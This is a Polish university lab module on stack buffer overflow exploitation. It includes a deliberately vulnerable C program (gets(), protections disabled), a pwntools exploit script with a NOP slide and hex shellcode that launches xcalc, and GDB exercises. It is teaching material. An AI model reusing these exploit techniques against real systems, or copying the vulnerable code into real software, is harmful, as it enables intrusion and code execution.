Wprowadzenie do cyberbezpieczeństwa (WCYB)

Moduł 3-1: Eksploitacja binarna na przykładzie błędu przepełnienia bufora (ang. buffer overflow)

Semestr: 19Z

Plan modułu

W ramach niniejszego modułu:

- poznasz podstawowe pojęcia związane z eksploitacją binarną
- zapoznasz się technicznymi aspektami eksploitacji podatności typu "stack buffer overflow"
- zapoznasz się z biblioteką `pwntools`
- dokonasz eksploitacji podatnej aplikacji przy użyciu skryptu w języku Python
- przeanalizujesz działanie exploita z wykorzystaniem debuggera GDB

1. Wstęp do binarnej eksploitacji (ang. binary exploitation, pwn)

Współczesne systemy i aplikacje są złożone z wielu setek tysięcy linii kodu i dość często zdarza się, że zawierają błędy. Błąd objawia się najczęściej niepoprawnym działaniem programu, zawieszeniem się lub *crashem*.* Takie sytuacje mogą być efektem jawnej pomyłki programisty, jednak mogą być spowodowane również nieprzewidzianymi wcześniej działaniami użytkownika, które wykraczają poza przypadki użycia uwzględniane przez twórcę aplikacji.

Początkowo programiści ignorowali tego typu błędy, traktując crash aplikacji jako wystarczający sygnał, by użytkownik zaprzestał korzystania z programu w sposób niestandardowy. Przecież to oczywiste, że niepoprawne wejście spowoduje niepoprawne działanie! Crash może jednak sygnalizować, że użytkownikowi udało się nadpisać struktury krytyczne dla działania programu. Odpowiednie manipulowanie zawartością tych struktur może natomiast poskutkować przejęciem pełnej kontroli nad aplikacją i wykorzystaniem jej możliwości w systemie. Taki błąd należy określić jako **podatność bezpieczeństwa** (ang. vulnerability). Program wykorzystujący tę podatność, wpływający na działanie podatnego programu nazywany jest **exploitem**.

W przypadku wystąpienia tego typu podatności, odpowiednio spreparowane wejście pozwala wpłynąć na przepływ sterowania atakowanego programu i przejęcie nad nim kontroli. Bezpośrednią konsekwencją może być możliwość wykonania własnego kodu w kontekście podatnej aplikacji. Taka sytuacja określana jest jako "**arbitrary code execution**" (w skrócie ACE).

Następstwa podatności typu ACE:

- wykonanie kodu z podniesionymi uprawnieniami (ang. **privilege escalation**) np. gdy atakowany program działa z prawami roota lub w trybie jądra,
- wykonanie kodu na zdalnej maszynie (ang. **remote code execution**, RCE) np. gdy atakowana jest usługa sieciowa.

W ramach dzisiejszego ćwiczenia, spróbujemy przejąć kontrolę nad programem wykorzystując tzw. **przepełnienie bufora na stosie**.

1.1. Czym jest stos?

Jednym z często występujących błędów popełnianych przez programistów jest brak kontroli nad długością przyjmowanego wejścia. Wejście zazwyczaj wczytywane jest do zarezerwowanego obszaru w pamięci (bufora), który posiada określony rozmiar. W przypadku, gdy wejście jest dłuższe niż wielkość bufora - nadmiarowe dane zostają zapisane poza wyznaczonym obszarem.

Gdyby miejsce poza buforem było po prostu niewykorzystywanym do tej pory fragmentem pamięci, błąd prawdopodobnie nie niósłby za sobą żadnych zauważalnych konsekwencji. Niestety, zazwyczaj bufor jest fragmentem większego obszaru, w którym zawarte są również inne struktury wykorzystywane przez program. Przykładem takiego obszaru jest stos.

Stos jest strukturą danych, w której dane są dodawane na wierzch stosu i pobierane również od wierzchołka stosu począwszy (Last In First Out - LIFO). Stos w architekturze x86 wyznaczony jest przez rejestr `RSP`, który zawiera adres wierzchołka stosu. W momencie, gdy tworzony jest główny wątek programu - system operacyjny alokuje przestrzeń stosu w pamięci i ustawia rejestr `RSP` tak, aby wskazywał na zarezerwowane miejsce.

Głównym przeznaczeniem stosu jest przechowywanie danych związanych z wywołaniem danej funkcji czyli m.in. argumentów wywołania, zmiennych lokalnych (automatycznych) czy adresu powrotu. Dane związane z konkretnym wywołaniem funkcji zgrupowane są w tzw. ramkę stosu (ang. stack frame). Za każdym razem, gdy wywołujemy kolejne zagnieżdżenie funkcji: na wierzch stosu dokładana jest kolejna ramka. Ramka aktualnie wykonywanej funkcji wskazywana jest przez rejestr `RBP`.

Aby lepiej zrozumieć działanie stosu, prześledźmy wywołanie prostej funkcji. Dla uproszczenia przyjmijmy, że w zastosowanej konwencji wołania, wszystkie argumenty zostaną przekazane za pośrednictwem stosu:

```
fn(1, 2);
```

wywołaniu odpowiada następujący kod w Asemblerze:

```
PUSH 2        # 0x400000: 6A 02
PUSH 1        # 0x400002: 6A 01
CALL fn       # 0x400004: E8 xx xx xx xx
ADD RSP, 0x10 # 0x400009: 48 83 C4 10
```

Wartości argumentów wrzucane są na stos od prawej do lewej za pomocą instrukcji `PUSH`, która przenosi wierzchołek stosu w górę (odejmuje od `RSP` 8 bajtów) i pod adresem wskazywanym przez `RSP` umieszcza wskazaną wartość. Po wrzuceniu argumentów na stos, przechodzimy do wywołania funkcji.

Adres aktualnie wykonywanej instrukcji przez procesor przechowywany jest przez rejestr `RIP`. Jest to tak zwany licznik programu (ang. program counter). Instrukcja `CALL` ustawia rejestr `RIP` na adres, w którym znajduje się kod funkcji `fn` i wrzuca na stos tzw. adres powrotu, czyli adres następnej instrukcji (`ADD RSP, 0x10`). W ten sposób

zapamiętane zostaje miejsce, do którego należy przekazać sterowanie po wykonaniu kodu wywoływanej funkcji.

Po wykonaniu tych instrukcji, stos prezentuje się następująco:

```
+----------+
| ..400009 |  adres powrotu
+----------+
|    1     |  argument 1
+----------+
|    2     |  argument 2
+----------+
    ...       zmienne lokalne funkcji wołającej
```

Przejdźmy teraz do kodu funkcji `fn`.

```
int fn(int x, int y)
{
    char buf[32];
    /* ... */
}
```

Funkcja oprócz argumentów wykorzystuje dodatkowo 32-bajtowy bufor. Miejsce na ten bufor alokowane jest w pierwszych instrukcjach kodu funkcji czyli tzw. prologu.

```
fn:
PUSH RBP
MOV RBP, RSP
SUB RSP, 0x20
```

Na początku przygotowywana jest ramka stosu funkcji `fn`. Najpierw na stosie zapamiętywany jest adres poprzedniej ramki i w rejestrze `RBP` ustawiany jest adres aktualnej ramki. Następnie wierzchołek stosu przesuwany jest o 32 bajty w górę, aby zaalokować miejsce dla bufora `char buf[32];`

Po wykonaniu tych instrukcji, stos prezentuje się następująco:

```
+----------+
|          |  [RBP - 32] zmienne lokalne (adres bufora buf)
+----------+
|          |
+----------+
|          |
+----------+
|          |
+----------+
|          |
+----------+
| ..ffffff |  [RBP]      adres poprzedniej ramki stosu
+----------+
| ..400009 |  [RBP + 8]  adres powrotu
+----------+
|    1     |  [RBP + 16] argument 1
+----------+
|    2     |  [RBP + 24] argument 2
```

```
+----------+
    ...       zmienne lokalne funkcji wołającej
```

1.2. Przepełnienie bufora na stosie

Załóżmy, że kod funkcji `fn` próbuje wprowadzić do bufora 64 bajty `0x61` (ASCII 'a'). Ze względu na strukturę stosu, zostają w ten sposób nadpisane elementy znajdujące się bezpośrednio za buforem jak wskaźnik na poprzednią ramkę stosu (`saved RBP`), adres powrotu (`saved RIP`) i argumenty.

```
+----------+
| ..616161 |  [RBP - 32] zmienne lokalne (adres bufora buf)
+----------+
| ..616161 |
+----------+
| ..616161 |
+----------+
| ..616161 |
+----------+
| ..616161 |  [RBP]      adres poprzedniej ramki stosu
+----------+
| ..616161 |  [RBP + 8]  adres powrotu
+----------+
| ..616161 |  [RBP + 16] argument 1
+----------+
| ..616161 |  [RBP + 24] argument 2
+----------+
    ...       zmienne lokalne funkcji wołającej
```

Kod funkcji wykonał się i sterowanie wraca do poprzedniej funkcji. Taki powrót jest realizowany przez ostatnie instrukcje funkcji czyli tzw. epilog.

```
MOV RSP, RBP
POP RBP
RET
```

Pierwsza instrukcja przenosi wierzchołek stosu (`RSP`) do miejsca, gdzie powinien znajdować się adres poprzedniej ramki stosu (`RBP`). Następna instrukcja pobiera wartość 0x6161616161616161 ze stosu do rejestru `RBP` . W ten sposób pod kontrolą atakującego znajduje się pierwszy z istotnych elementów, którym jest adres poprzedniej ramki. Pozwala to przekierować odwołania do stosu pod wybrany adres.

Jednak w tym wypadku nie tylko rejestr `RBP` jest kontrolowany. Nadpisana została również wartość adresu powrotu. Instrukcja `RET` pobiera adres 0x6161616161616161 ze stosu i ustawia na ten adres rejestr `RIP` czyli licznik programu. W tym wypadku wykonanie programu kończy się błędem ponieważ nie jest to poprawny adres i procesor nie może wykonać spod niego żadnych instrukcji.

Możliwość nadpisania tego adresu pozwala jednak atakującemu przekierować sterowanie do dowolnie wybranego miejsca w pamięci... na przykład pod adres gdzie znajduje się stos. Pozwala to na wykonanie danych umieszczonych na stosie jako rozkazów procesora i uzyskanie możliwości wykonania dowolnego kodu (tj. wspomnianego na samym początku ACE).

Współczesne systemy operacyjne i architektury posiadają odpowiednie zabezpieczenia utrudniające wykorzystanie takiej podatności. Wśród nich można wymienić kanarki (ang. stack canaries), zabronienie wykonywania kodu ze stosu (NX bit) czy mechanizm ASLR. W ramach tego ćwiczenia zabezpieczenia te zostały jednak wyłączone poprzez odpowiednie flagi kompilacji i wyświetlanie przez atakowany program adresu, gdzie znajduje się stos.

2. Atak na podatną aplikację

Poniżej znajduje się kod atakowanego programu:

```c
// gcc bof.c -std=c99 -fno-stack-protector -z execstack -w -o bof

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void ask_for_name()
{
    char name[12] = {0};
    puts("What's your name?");
    gets(name);
    if(strlen(name) > 12) {
       puts("Nope, it's too long for me");
       exit(1);
    }
    printf("Hi %s!\n", name);
}

int main()
{
    int v;
    printf("STACK IS HERE => %p\n", &v);
    ask_for_name();
    return 0;
}
```

Zapisz plik pod nazwą `bof.c` i skompiluj przy użyciu GCC zgodnie z inwokacją podaną w pierwszej linii kodu (po uprzednim usunięciu znaków rozpoczynających komentarz).

Po skompilowaniu: uruchom kilkukrotnie program `./bof`, wprowadzając imiona dłuższe i krótsze niż 12 znaków.

Ćwiczenia:

1. Jakie ostrzeżenie zgłasza kompilator przy próbie skompilowania programu?
2. Na czym polega błąd w programie?
3. Dlaczego program zamyka się poprawnie pomimo przepełnienia bufora?

2.1. Spowodowanie crasha programu

Pora na przygotowanie exploita. W tym celu posłużymy się językiem Python i biblioteką pwntools.

Jeśli nie jest zainstalowana, można ją zainstalować poleceniem:

```
pip2 install --user pwntools
```

W pliku `exploit.py` umieść kod poniższego skryptu:

```
from pwn import *

# Uruchomienie programu
p = process("./bof");

# Na samym poczatku program wyswietla adres miejsca na stosie
# (pozycja zmiennej "v" w ramach ramki stosu funkcji "main")
# Wykorzystamy go pozniej w naszym exploicie
p.readuntil("STACK IS HERE => ")
stack_ptr = int(p.readuntil("\n").strip(), 16)
p.readuntil("What's your name?\n")
# Teraz program czeka na wejscie
# === Tu wprowadzamy modyfikacje ===

name = "Alicja"

# ================================
# Wysylamy dane
p.sendline(name)
# ...i odbieramy odpowiedz programu
print(p.readall())
```

Po uruchomieniu skryptu poleceniem `python2 exploit.py`, program powinien poprawnie zakończyć działanie:

```
[+] Starting local process './bof': pid 65435
[+] Receiving all data: Done (11B)
[*] Process './bof' stopped with exit code 0 (pid 65435)
Hi Alicja!
```

Podmieńmy jednak `name = "Alicja"` na następujący fragment kodu:

```
name = "Alicja\x00aaaaa"
name += "a"*14
```

Tym razem program powinien zakończyć się wyjątkiem SIGSEGV (Segmentation fault):

```
[+] Starting local process './bof': pid 65445
[+] Receiving all data: Done (11B)
[*] Process './bof' stopped with exit code -11 (SIGSEGV) (pid 65445)
Hi Alicja!
```

Aby lepiej zrozumieć co się stało, spróbujmy podpiąć debugger GDB przed wysłaniem "imienia". Można to zrealizować funkcją `gdb.attach`:

```
name = "Alicja\x00aaaaa"
name += "a"*12
```

```
gdb.attach(p)
```

Następnie w nowym oknie GDB wpisz `c` i wciśnij ENTER.

GDB powinien zasygnalizować crash programu. Następnie wpisz `info registers` i ponownie wciśnij ENTER.

Ćwiczenia:

4. Jaka jest wartość rejestrów `RBP` i `RIP`? Dlaczego?
5. Dlaczego program zakończył działanie?

2.2. Wstrzyknięcie kodu

Okno GDB zamykamy wprowadzając komendę `q`.

Skoro możemy wprowadzić dowolną wartość do rejestru `RIP`, możemy przekierować sterowanie w dowolne miejsce. Tym razem przekierujemy wykonywanie kodu do miejsca wewnątrz ramki funkcji main, którego adres wyświetlany jest na samym początku wykonania programu i pobierany przez nasz skrypt. Adres ten umieścimy w miejscu, gdzie znajduje się adres powrotu.

```
name = "Alicja\x00aaaaa"
name += "a"*8          # rbp
name += p64(stack_ptr) # rip
```

Względnie trudno jednak określić, który bajt naszego wejścia trafi akurat w miejsce, gdzie znajduje się zmienna `v`. Z tego powodu stosuje się technikę nazywaną **NOP slide**, wypełniając fragment stosu wartością `0x90`. Opkod `90` odpowiada instrukcji `NOP`, która jest jednobajtowa i której wykonanie nie ma żadnych skutków ubocznych. W momencie, gdy procesor rozpocznie wykonywanie naszego bufora na stosie: zjedzie po instrukcjach NOP, aż do miejsca w którym umieściliśmy docelowy kod.

```
name = "Alicja\x00aaaaa"
name += "a"*8          # rbp
name += p64(stack_ptr) # rip
# NOP slide
name += '\x90' * 128
name += '\xCC'
gdb.attach(p)
```

Na samym końcu umieśćmy instrukcję `INT 3h` (opkod `0xCC`), która jest instrukcją pułapki programowej (ang. breakpoint). Pozwoli to zatrzymać program w miejscu, w którym procesor trafił na pułapkę i przekazać sterowanie do debuggera.

W nowym oknie GDB wprowadź komendę `c`. Następnie wprowadź polecenia:

- `info proc mappings`
- `x/16i $rip-8`

Ćwiczenia:

6. Pod jakim adresem zatrzymał się program? Pod jakim zakresem adresów znajduje się stos?
7. Jakie instrukcje znajdują się w sąsiedztwie miejsca, w którym zatrzymał się program?

8. Wznów działanie programu poleceniem `c`. Dlaczego program się scrashował?

2.3. Przejęcie kontroli nad programem

Obecnie jesteśmy w stanie wykonać w kontekście programu dowolny kod, nie tylko instrukcje `NOP` i `INT 3h`. W tym momencie zazwyczaj w exploicie umieszczany jest tzw. shellcode, który ma na celu wywołać powłokę systemową z uprawnieniami atakowanej aplikacji. Częstą taktyką w przypadku atakowania zdalnych komputerów jest wyzwolenie tzw. reverse shella. Shellcode łączy się pod adres i port zawarty w exploicie i przekierowuje standardowe strumienie powłoki na podłączone gniazdo, umożliwiając atakującemu wprowadzanie dowolnych poleceń.

W przypadku naszego ćwiczenia - lokalne uruchamianie powłoki na tym samym poziomie uprawnień mija się jednak z celem. Możemy jednak zrobić dużo bardziej efektowną rzecz i zmusić nasz proces do uruchomienia innego programu np. kalkulatora.

```
name = "Alicja\x00aaaaa"
name += "a"*8          # rbp
name += p64(stack_ptr) # rip
# NOP slide
name += '\x90' * 128

shellcode = unhex(
"48b82f7863616c6300005048b82f7573722f62696e"
"504889e74831c050574889e64831d248c7c03a3000"
"005048b8444953504c41593d504889e24831c05052"
"4889e248c7c03b0000000f0500")
name += shellcode
```

Uruchomienie exploita powinno poskutkować uruchomieniem programu `xcalc`.

Ćwiczenia:

9. Wykonaj zrzut ekranu przedstawiający efekt wykonania exploita.
10. Dlaczego po zamknięciu okna kalkulatora program zakończył się poprawnie? (Podpowiedź: "xcalc" wywołany został przez shellcode za pomocą funkcji systemowej exec)